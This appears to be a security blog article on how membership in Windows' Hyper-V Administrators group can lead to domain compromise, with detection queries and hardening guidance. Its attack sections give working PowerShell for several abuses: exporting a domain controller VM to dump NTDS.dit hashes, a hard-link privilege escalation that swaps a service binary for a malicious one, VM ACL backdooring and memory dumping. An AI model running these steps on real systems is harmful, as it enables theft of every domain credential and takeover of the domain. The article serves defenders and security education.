Skip to Content
Hyper-V Administrators exploitation showing virtual machine manipulation and domain controller compromise

Hyper-V Administrators Group Exploitation

Exploiting Hyper-V Administrators group membership, from VM manipulation to privilege escalation and domain compromise.

Jan 22, 2026
Updated Nov 22, 2026
34 min read

Introduction

Hyper-V Administrators is a built-in local group (Windows Server 2008 R2 and Windows 8 onward) whose members control every Hyper-V feature and every VM on the host. It exists so virtualization work can be delegated without handing out Domain Admin or Enterprise Admin. The catch shows up when domain controllers run as VMs on that host.

Critical Risk

If Domain Controllers are virtualized on Hyper-V, members of the Hyper-V Administrators group should be considered Domain Admins. They have the capability to clone live DCs, extract the NTDS.dit database offline, and compromise the entire Active Directory forest.

Understanding Hyper-V Administrators

What the group can do

A member can reach every Hyper-V management tool and API, create, change and delete VMs, read and edit VM configuration files, work with the virtual hard disks (VHD/VHDX), manage virtual switches and networks, take and restore checkpoints, and export and import VMs. None of that needs local administrator rights on the host.

The group's well-known SID is S-1-5-32-578, and it is empty until someone adds members.

Why the group gets used

Most memberships come from wanting to hand VM management to someone without giving them full admin. A dedicated virtualization team, a backup or orchestration service account, developers who run their own test VMs, or a third party that manages the infrastructure all end up here. The assumption is that this is a lesser form of admin.

The group is not low-privilege

Teams often file Hyper-V Administrators under "lower privilege" admin. On a host that runs domain controllers it is a path to Domain Admin and to SYSTEM, which the rest of this note walks through.

Attack vectors and techniques

Cloning a VM to compromise the domain

The worst case for a Hyper-V host in an AD environment is a virtualized domain controller.

Step 1: Identify virtualized domain controllers

# List all VMs on the Hyper-V host
Get-VM | Select-Object Name, State, Path, ComputerName

# Identify likely Domain Controllers
Get-VM | Where-Object {
    $_.Name -like '*DC*' -or
    $_.Name -like '*DomainController*' -or
    $_.Name -match '^DC\d+'
} | Select-Object Name, State, Path

# Check VM networking to identify DC role
Get-VM | ForEach-Object {
    $vm = $_
    $networkAdapters = Get-VMNetworkAdapter -VM $vm
    [PSCustomObject]@{
        VMName = $vm.Name
        State = $vm.State
        IPAddresses = ($networkAdapters.IPAddresses -join ', ')
        SwitchName = ($networkAdapters.SwitchName -join ', ')
    }
} | Format-Table -AutoSize

Step 2: Create a VM checkpoint

# Create a checkpoint of the running DC
$dcVM = Get-VM -Name "DC01"
Checkpoint-VM -VM $dcVM -SnapshotName "PreExtraction_$(Get-Date -Format 'yyyyMMdd_HHmmss')"

Write-Host "[+] Created checkpoint of DC VM"

Why Checkpoint?

Creating a checkpoint before any manipulation:

  • Allows for easy restoration if something goes wrong
  • Preserves the current state
  • Enables offline analysis without impacting production
  • Provides plausible deniability ("just a backup")

Step 3: Export the virtual machine

# Export VM to accessible location
$exportPath = "C:\Temp\DCExport"
Export-VM -Name "DC01" -Path $exportPath

Write-Host "[+] Exported DC VM to: $exportPath"

# Alternative: Copy just the VHD files
$vm = Get-VM -Name "DC01"
$vhdPaths = $vm.HardDrives.Path

foreach ($vhd in $vhdPaths) {
    Copy-Item -Path $vhd -Destination "C:\Temp\DC_Disks\" -Force
    Write-Host "[+] Copied: $vhd"
}

Step 4: Mount the VHD offline

# Mount the VHD file
$vhdPath = "C:\Temp\DCExport\DC01\Virtual Hard Disks\DC01.vhdx"
$mountedDisk = Mount-VHD -Path $vhdPath -ReadOnly -PassThru

# Get drive letter
$driveLetter = ($mountedDisk | Get-Disk | Get-Partition | Get-Volume).DriveLetter

Write-Host "[+] Mounted VHD at drive: $($driveLetter):"

Step 5: Extract NTDS.dit and the SYSTEM hive

# Copy NTDS.dit database
$ntdsSource = "${driveLetter}:\Windows\NTDS\ntds.dit"
$systemSource = "${driveLetter}:\Windows\System32\config\SYSTEM"

Copy-Item -Path $ntdsSource -Destination "C:\Temp\Loot\ntds.dit"
Copy-Item -Path $systemSource -Destination "C:\Temp\Loot\SYSTEM"

Write-Host "[+] Extracted NTDS.dit and SYSTEM hive"

# Dismount VHD
Dismount-VHD -Path $vhdPath

Step 6: Extract Domain Credentials

# On attack system with impacket-secretsdump
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Alternative: Use DSInternals PowerShell module
Import-Module DSInternals

$bootKey = Get-BootKey -SystemHivePath "C:\Temp\Loot\SYSTEM"
$ntdsDB = Get-ADDBAccount -All -DatabasePath "C:\Temp\Loot\ntds.dit" -BootKey $bootKey

# Export all hashes
$ntdsDB | ForEach-Object {
    [PSCustomObject]@{
        SamAccountName = $_.SamAccountName
        NTHash = ($_.NTHash | ForEach-Object { $_.ToString("X2") }) -join ''
        LMHash = ($_.LMHash | ForEach-Object { $_.ToString("X2") }) -join ''
        Enabled = $_.Enabled
        AdminCount = $_.AdminCount
    }
} | Export-Csv -Path "C:\Temp\Loot\domain_hashes.csv" -NoTypeInformation

Write-Host "[+] Extracted $(($ntdsDB | Measure-Object).Count) account hashes"

Impact:

  • Complete compromise of Active Directory domain
  • Access to all user credentials (including Domain Admins)
  • Ability to create golden tickets for persistent access
  • Lateral movement to any domain-joined system

This technique abuses the way the Hyper-V VM Management Service (vmms.exe) resets file permissions when it deletes a VHD.

How the bug works

When a VHD/VHDX file is deleted:

  1. The vmms.exe process (running as SYSTEM) attempts to restore original file permissions
  2. This permission restoration occurs without impersonating the user
  3. By replacing the VHD with an NT hard link to a protected file, we can cause SYSTEM to grant us permissions on arbitrary files

Patched Vulnerability

This specific NT hard link attack was mitigated in March 2020 Windows updates. However, understanding the technique remains valuable for:

  • Testing against unpatched systems
  • Demonstrating conceptual risk
  • Developing similar exploitation patterns

Attack Workflow

Create Dummy VM with VHD

# Create a new VM with a small VHD
$vmName = "ExploitVM"
$vhdPath = "C:\Users\Public\exploit.vhdx"

# Create VHD
New-VHD -Path $vhdPath -SizeBytes 10MB -Dynamic

# Create VM
New-VM -Name $vmName -MemoryStartupBytes 512MB -VHDPath $vhdPath -Generation 2

Write-Host "[+] Created VM: $vmName with VHD: $vhdPath"

Delete the VHD File

# Stop and remove the VM
Stop-VM -Name $vmName -Force
Remove-VM -Name $vmName -Force

# Delete the VHD file manually
Remove-Item -Path $vhdPath -Force

Write-Host "[+] Deleted VHD file"
# Target: A service binary we want to replace
$targetFile = "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe"

# Create hard link where VHD was
cmd /c mklink /H "C:\Users\Public\exploit.vhdx" $targetFile

Write-Host "[+] Created hard link to: $targetFile"

Delete the VM to trigger permission restoration

# When Hyper-V deletes the "VHD" (actually our hardlink),
# vmms.exe restores permissions as SYSTEM on the linked file
Remove-VM -Name $vmName -Force

Write-Host "[+] SYSTEM permission restoration triggered on target file"

Verify and use the new permissions

# Check new permissions on target
Get-Acl "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe" | Format-List

# Take ownership
takeown /F "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe"

# Replace with malicious binary
Copy-Item C:\Temp\malicious.exe -Destination "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe" -Force

# Start the service
Start-Service MozillaMaintenance

# Service now runs your code as SYSTEM

Target Files for Exploitation:

  • Service binaries (running as SYSTEM)
  • System configuration files
  • Registry hive files (if accessible)
  • Protected system files in System32

VM configuration file manipulation

Virtual machine configuration files contain sensitive information and can be modified to compromise VMs.

VM Configuration Files:

  • .vmcx (VM configuration)
  • .vmrs (VM runtime state)
  • .vmgs (VM guest state)
  • .xml (legacy configuration format)

Locate VM Configuration Files

# Find all VM configuration files
Get-VM | ForEach-Object {
    [PSCustomObject]@{
        VMName = $_.Name
        ConfigPath = $_.ConfigurationLocation
        State = $_.State
        Version = $_.Version
    }
} | Format-Table -AutoSize

# List files in VM directory
$vm = Get-VM -Name "TargetVM"
Get-ChildItem -Path $vm.Path -Recurse | Select-Object FullName, Length, LastWriteTime

Extract sensitive information

# VHD/VHDX paths (may contain shared storage credentials)
$vm = Get-VM -Name "TargetVM"
$vm.HardDrives | Select-Object Path, ControllerType, ControllerLocation

# Network configuration
Get-VMNetworkAdapter -VM $vm | Select-Object Name, SwitchName, MacAddress, IPAddresses

# Integration services (may reveal tools and access methods)
Get-VMIntegrationService -VM $vm | Where-Object {$_.Enabled} | Select-Object Name, Enabled

Modify VM Configuration for Backdoor

# Add your user to VM console access
$vm = Get-VM -Name "TargetVM"
$acl = Get-Acl "\\.\pipe\$($vm.Id)"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
    $env:USERNAME,
    "FullControl",
    "Allow"
)
$acl.AddAccessRule($rule)
Set-Acl -Path "\\.\pipe\$($vm.Id)" -AclObject $acl

# Modify VM to auto-start with malicious changes
Set-VM -Name "TargetVM" -AutomaticStartAction Start

Credential theft from VM memory

Running VMs have their memory accessible to Hyper-V Administrators.

# Create VM memory dump
$vm = Get-VM -Name "TargetVM"

if ($vm.State -eq "Running") {
    # Pause VM
    Save-VM -Name "TargetVM"

    # Create checkpoint (contains memory state)
    Checkpoint-VM -Name "TargetVM" -SnapshotName "MemDump_$(Get-Date -Format 'yyyyMMdd_HHmmss')"

    # Resume VM
    Start-VM -Name "TargetVM"

    # Access snapshot files
    $vmPath = $vm.Path
    $snapshots = Get-ChildItem -Path "$vmPath\Snapshots" -Recurse

    Write-Host "[+] Snapshot files created:"
    $snapshots | Where-Object {$_.Extension -in @('.bin','.vsv','.vmrs')} | Select-Object FullName
}

# Alternative: Use Save-VM to create memory dump
Save-VM -Name "TargetVM"
# Memory is now in .bin and .vsv files
# Can be analyzed with tools like Volatility

Detection and Monitoring

Monitoring Hyper-V Operations

Virtual machine lifecycle events

Monitor VM creation, deletion, and modification:

// Hyper-V operational log monitoring
Event
| where EventLog == "Microsoft-Windows-Hyper-V-VMMS-Operational"
| where EventID in (
    12000,  // VM created
    12002,  // VM deleted
    13000,  // VM config changed
    18300,  // VM export started
    18302   // VM import started
)
| extend VMName = tostring(parse_xml(EventData).EventData.Data)
| project TimeGenerated, Computer, EventID, VMName, UserName
| summarize Count = count(),
            FirstSeen = min(TimeGenerated),
            LastSeen = max(TimeGenerated)
    by Computer, VMName, EventID, UserName
| where Count > 1 or EventID in (18300, 18302)

Alert Criteria:

  • Multiple VM creations/deletions in short time period
  • VM exports (especially of DCs)
  • VM operations outside business hours
  • VM operations by non-administrative accounts

VHD file access monitoring

Track access to virtual hard disk files:

# Enable auditing on VHD storage locations
$vhdPaths = Get-VM | ForEach-Object { Split-Path $_.HardDrives.Path -Parent } | Select-Object -Unique

foreach ($path in $vhdPaths) {
    $acl = Get-Acl $path
    $auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
        "Everyone",
        "Read,Write,Delete,TakeOwnership",
        "ContainerInherit,ObjectInherit",
        "None",
        "Success"
    )
    $acl.AddAuditRule($auditRule)
    Set-Acl -Path $path -AclObject $acl
}

Write-Host "[+] Enabled auditing on VHD storage locations"

Detection Query:

SecurityEvent
| where EventID == 4663  // Object access
| where ObjectName endswith ".vhdx" or ObjectName endswith ".vhd"
| where AccessMask contains "0x2"  // Write access
| where SubjectUserName !in ("SYSTEM", "NETWORK SERVICE")
| project TimeGenerated, Computer, SubjectUserName, ObjectName, ProcessName
| summarize AccessCount = count(),
            Files = make_set(ObjectName)
    by Computer, SubjectUserName, bin(TimeGenerated, 1h)
| where AccessCount > 5

Checkpoint and snapshot monitoring

Checkpoints can be used to extract credentials:

# Monitor for checkpoint creation
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-Hyper-V-VMMS-Operational'
    ID = 13000  # VM configuration changed (includes checkpoints)
} | Where-Object {$_.Message -like '*snapshot*' -or $_.Message -like '*checkpoint*'} |
    Select-Object TimeCreated, Message

# Alert on checkpoints of critical VMs
$criticalVMs = @("DC01", "DC02", "FileServer01")

Get-VM | Where-Object {$_.Name -in $criticalVMs} | ForEach-Object {
    $checkpoints = Get-VMSnapshot -VM $_
    if ($checkpoints) {
        [PSCustomObject]@{
            VMName = $_.Name
            CheckpointCount = $checkpoints.Count
            LatestCheckpoint = ($checkpoints | Sort-Object CreationTime -Descending | Select-Object -First 1).CreationTime
            CheckpointNames = ($checkpoints.Name -join ', ')
        }
    }
} | Format-Table -AutoSize

Hyper-V Administrators group membership changes

# Monitor group membership changes
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4732,4733} |
    Where-Object {$_.Message -like '*Hyper-V Administrators*'} |
    Select-Object TimeCreated,
        @{Name='Action';Expression={
            if ($_.Id -eq 4732) {'Added'} else {'Removed'}
        }},
        @{Name='Member';Expression={
            ($_.Properties[0].Value)
        }},
        @{Name='Group';Expression={'Hyper-V Administrators'}},
        @{Name='ModifiedBy';Expression={$_.Properties[6].Value}} |
    Format-Table -AutoSize

Detection Logic:

SecurityEvent
| where EventID in (4732, 4733)  // Member added/removed
| extend GroupName = tostring(EventData.TargetUserName)
| where GroupName == "Hyper-V Administrators"
| extend MemberAdded = tostring(EventData.MemberName)
| extend ModifiedBy = tostring(EventData.SubjectUserName)
| project TimeGenerated, Computer,
          Action = iff(EventID == 4732, "Added", "Removed"),
          MemberAdded, ModifiedBy

Mitigation and Hardening

Move domain controllers off Hyper-V

The one mitigation that matters most

Do not virtualize domain controllers on a Hyper-V host where anyone outside Domain Admins holds Hyper-V Administrators.

If that is not possible, the options in rough order of preference: run DCs on dedicated physical hardware; put them on a separate hypervisor managed by a different team; use Azure Active Directory Domain Services for hybrid setups; or reserve specific Hyper-V hosts for DCs and lock down who can administer them.

Principle of least privilege

Audit current membership

# Check local Hyper-V Administrators
Get-LocalGroupMember -Group "Hyper-V Administrators"

# Export for review
Get-LocalGroupMember -Group "Hyper-V Administrators" |
    Select-Object Name, PrincipalSource, ObjectClass |
    Export-Csv -Path C:\Temp\HyperV_Admins_Audit.csv -NoTypeInformation

# Domain-wide audit (if applicable)
Get-ADGroupMember -Identity "Hyper-V Administrators" -Recursive |
    Select-Object Name, SamAccountName, ObjectClass |
    Export-Csv -Path C:\Temp\HyperV_Admins_Domain_Audit.csv -NoTypeInformation

Remove unnecessary members

# Remove specific user
Remove-LocalGroupMember -Group "Hyper-V Administrators" -Member "CORP\john.smith"

# Remove all non-service accounts
Get-LocalGroupMember -Group "Hyper-V Administrators" |
    Where-Object {$_.Name -notlike '*svc*' -and $_.ObjectClass -eq 'User'} |
    ForEach-Object {
        Remove-LocalGroupMember -Group "Hyper-V Administrators" -Member $_.Name
        Write-Host "[*] Removed: $($_.Name)"
    }

Implement Just-In-Time Access

function Grant-TemporaryHyperVAccess {
    param(
        [string]$UserName,
        [int]$Hours = 2,
        [string]$Justification
    )

    # Log request
    $logEntry = @{
        Timestamp = Get-Date
        User = $UserName
        GrantedBy = $env:USERNAME
        Duration = $Hours
        Justification = $Justification
    }

    $logEntry | Export-Csv -Path "C:\Logs\HyperV_JIT_Access.csv" -Append -NoTypeInformation

    # Grant access
    Add-LocalGroupMember -Group "Hyper-V Administrators" -Member $UserName
    Write-Host "[+] Granted Hyper-V Administrators to $UserName for $Hours hours"

    # Schedule removal
    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -Command `"Remove-LocalGroupMember -Group 'Hyper-V Administrators' -Member '$UserName'; Write-EventLog -LogName Application -Source 'HyperV-JIT' -EventId 1001 -Message 'Removed $UserName from Hyper-V Administrators (JIT expired)'`""

    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddHours($Hours)
    $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest

    Register-ScheduledTask -TaskName "RemoveHyperVAccess_$($UserName.Replace('\','_'))_$(Get-Date -Format 'yyyyMMddHHmmss')" `
        -Action $action `
        -Trigger $trigger `
        -Principal $principal `
        -Force | Out-Null

    Write-Host "[+] Access will expire at: $((Get-Date).AddHours($Hours))"
}

# Usage
Grant-TemporaryHyperVAccess -UserName "CORP\helpdesk" -Hours 2 -Justification "Troubleshoot VM performance issue Ticket#12345"

VHD/VHDX Access Control

Implement strict file system permissions on VM storage:

# Function to lock down VHD storage
function Set-VHDStoragePermissions {
    param(
        [string[]]$VHDPaths
    )

    foreach ($path in $VHDPaths) {
        if (Test-Path $path) {
            # Get current ACL
            $acl = Get-Acl $path

            # Disable inheritance
            $acl.SetAccessRuleProtection($true, $false)

            # Remove all existing rules
            $acl.Access | ForEach-Object { $acl.RemoveAccessRule($_) }

            # Add SYSTEM - Full Control
            $systemRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
                "SYSTEM",
                "FullControl",
                "ContainerInherit,ObjectInherit",
                "None",
                "Allow"
            )
            $acl.AddAccessRule($systemRule)

            # Add Administrators - Full Control
            $adminRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
                "Administrators",
                "FullControl",
                "ContainerInherit,ObjectInherit",
                "None",
                "Allow"
            )
            $acl.AddAccessRule($adminRule)

            # Add Hyper-V Administrators - Read/Execute Only
            $hypervRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
                "Hyper-V Administrators",
                "ReadAndExecute",
                "ContainerInherit,ObjectInherit",
                "None",
                "Allow"
            )
            $acl.AddAccessRule($hypervRule)

            # Apply ACL
            Set-Acl -Path $path -AclObject $acl

            Write-Host "[+] Locked down: $path"
        }
    }
}

# Get all VHD storage paths
$vhdPaths = Get-VM | ForEach-Object { Split-Path $_.HardDrives.Path -Parent } | Select-Object -Unique

# Apply restrictive permissions
Set-VHDStoragePermissions -VHDPaths $vhdPaths

VM Encryption

Enable VM encryption to protect against offline VHD access:

# Enable VM encryption (requires Windows Server 2016+)
$vm = Get-VM -Name "SensitiveVM"

# Enable TPM for the VM
Enable-VMTPM -VM $vm

# Enable Shielding
Set-VMSecurity -VM $vm -Shielded $true

# Verify encryption
Get-VMSecurity -VM $vm | Select-Object VMName, Shielded, EncryptStateAndVmMigrationTraffic

Hyper-V host hardening

Disable unneeded Hyper-V features

# Disable guest service interface (if not needed)
Get-VM | Get-VMIntegrationService -Name "Guest Service Interface" | Disable-VMIntegrationService

# Restrict VM console connections
Get-VM | Set-VMSecurity -EnableVirtualizationBasedSecurity $true

Restrict Enhanced Session Mode

# Disable enhanced session mode to prevent clipboard/file sharing
Set-VMHost -EnableEnhancedSessionMode $false

Segment the management network

# Create isolated management network for critical VMs
New-VMSwitch -Name "Management-Isolated" -SwitchType Internal

# Assign critical VMs to isolated network
Get-VM -Name "DC01" | Get-VMNetworkAdapter | Connect-VMNetworkAdapter -SwitchName "Management-Isolated"

Audit and logging

Turn on the Hyper-V logs:

# Enable all Hyper-V logs
$hypervLogs = @(
    'Microsoft-Windows-Hyper-V-VMMS-Admin',
    'Microsoft-Windows-Hyper-V-VMMS-Operational',
    'Microsoft-Windows-Hyper-V-Worker-Admin',
    'Microsoft-Windows-Hyper-V-VmSwitch-Operational'
)

foreach ($log in $hypervLogs) {
    wevtutil sl $log /e:true
    wevtutil sl $log /ms:104857600  # 100 MB max size
    Write-Host "[+] Enabled: $log"
}

# Increase Security log size for auditing
wevtutil sl Security /ms:1073741824  # 1 GB

# Enable file system auditing on VM paths
auditpol /set /subcategory:"File System" /success:enable /failure:enable

Real-World Attack Scenarios

Scenario 1: domain compromise via a virtualized DC

Initial Access

Attacker compromises help desk account with Hyper-V Administrators membership

Discovery

# Enumerate VMs
Get-VM | Select-Object Name, State, Path

# Identify DC01 as virtualized domain controller

Exploitation

# Create checkpoint
Checkpoint-VM -Name "DC01" -SnapshotName "Backup_$(Get-Date -Format 'yyyyMMdd')"

# Export VM
Export-VM -Name "DC01" -Path "C:\Temp\DCExport"

# Mount VHD offline
$vhd = "C:\Temp\DCExport\DC01\Virtual Hard Disks\DC01.vhdx"
Mount-VHD -Path $vhd -ReadOnly

Credential Extraction

# Extract NTDS.dit and SYSTEM hive
# Use secretsdump or DSInternals to extract all domain hashes

# Obtained: Enterprise Admin NTLM hash
# Used for: Pass-the-hash attack across entire forest

Impact

  • Complete domain compromise
  • Access to all domain resources
  • Persistent access via golden tickets
  • Lateral movement to all systems

On a host where non-Domain-Admins hold Hyper-V Administrators, a virtualized DC is one checkpoint-and-export away from a full NTDS.dit dump. In that setup the group is Domain Admin, so either the DCs come off that host or the membership shrinks to people who are already Domain Admins. Most of the exploitation above rides on ordinary Hyper-V operations, which is why detection alone does not fix it.

Defensive checklist

  • Audit Hyper-V Administrators group membership
  • Move virtualized domain controllers off shared Hyper-V hosts, or isolate them
  • Use just-in-time access for VM management
  • Turn on the Hyper-V operational logs
  • Configure file system auditing on VHD storage paths
  • Set restrictive ACLs on VHD files
  • Enable VM encryption for sensitive workloads
  • Alert on VM export, checkpoint, and cloning operations
  • Baseline normal Hyper-V operations
  • Segment the management network
  • Review VM configurations and snapshots on a schedule
  • Keep an incident response plan for a Hyper-V host compromise

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

Microsoft Documentation

Security Resources

On this page

IntroductionUnderstanding Hyper-V AdministratorsWhat the group can doWhy the group gets usedAttack vectors and techniquesCloning a VM to compromise the domainStep 1: Identify virtualized domain controllersStep 2: Create a VM checkpointStep 3: Export the virtual machineStep 4: Mount the VHD offlineStep 5: Extract NTDS.dit and the SYSTEM hiveStep 6: Extract Domain CredentialsNT hard link attack for privilege escalationHow the bug worksCreate Dummy VM with VHDDelete the VHD FileCreate an NT hard link to the target fileDelete the VM to trigger permission restorationVerify and use the new permissionsVM configuration file manipulationLocate VM Configuration FilesExtract sensitive informationModify VM Configuration for BackdoorCredential theft from VM memoryDetection and MonitoringMonitoring Hyper-V OperationsVirtual machine lifecycle eventsVHD file access monitoringCheckpoint and snapshot monitoringHyper-V Administrators group membership changesMitigation and HardeningMove domain controllers off Hyper-VPrinciple of least privilegeAudit current membershipRemove unnecessary membersImplement Just-In-Time AccessVHD/VHDX Access ControlVM EncryptionHyper-V host hardeningDisable unneeded Hyper-V featuresRestrict Enhanced Session ModeSegment the management networkAudit and loggingReal-World Attack ScenariosScenario 1: domain compromise via a virtualized DCInitial AccessDiscoveryExploitationCredential ExtractionImpactDefensive checklistReferencesMITRE ATT&CK TechniquesCommon Weakness EnumerationMicrosoft DocumentationSecurity Resources